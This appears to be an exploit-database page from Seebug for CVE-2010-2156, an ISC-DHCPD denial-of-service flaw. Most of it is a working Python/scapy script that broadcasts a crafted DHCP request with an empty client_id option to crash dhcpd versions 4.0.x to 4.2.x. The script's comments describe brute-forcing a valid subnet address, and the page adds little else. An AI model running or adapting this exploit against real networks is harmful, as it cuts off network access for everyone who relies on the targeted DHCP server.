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seebugRootSSV:69254
HistoryJul 01, 2014 - 12:00 a.m.

ISC-DHCPD Denial of Service

2014-07-0100:00:00
Root
www.seebug.org
11

0.968 High

EPSS

Percentile

99.6%

No description provided by source.


                                                #! /usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010	
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version:  4.0.x, 4.1.x, 4.2.x 
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value. 
# 


import sys
import string

if len(sys.argv) is 1:
	print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
	print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
	sys.exit(0)

for i in range(len(sys.argv)):
	if string.find(sys.argv[i],"-ip") is 0:
		globals()['ip'] = sys.argv[i].split('=')[1]

from scapy.all import *

globals()['verbose'] = 2

def msg(string, level):
    if globals()['verbose'] >= level:
        print(string)

msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))

if p:
	p.show()
sendp(p)

#EOF

                              

0.968 High

EPSS

Percentile

99.6%